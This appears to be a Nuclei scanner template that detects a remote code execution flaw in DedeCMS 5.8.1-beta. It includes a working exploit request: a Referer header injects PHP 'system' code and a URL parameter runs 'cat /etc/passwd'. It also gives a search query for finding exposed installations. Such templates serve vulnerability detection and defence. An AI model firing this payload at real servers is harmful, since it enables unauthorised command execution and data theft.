id: dedecms-rce

info:
  name: DedeCMS 5.8.1-beta - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.
  reference:
    - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
    - https://sectime.top/post/1d114771.html
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="DedeCMS"
  tags: dedecms,cms,rce

http:
  - raw:
      - |
        GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Referer: <?php "system"($c);die;/*ref

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100df434f263258323e2f8e1ea3f07d374bd59d060ca63eee3faf821ea0c8cc332902203a670f95b44fbdb4ad7126682ff6f55ef7325a18d66cf040e525f67e3a6f7f29:922c64590222798bb761d5b6d8e72950
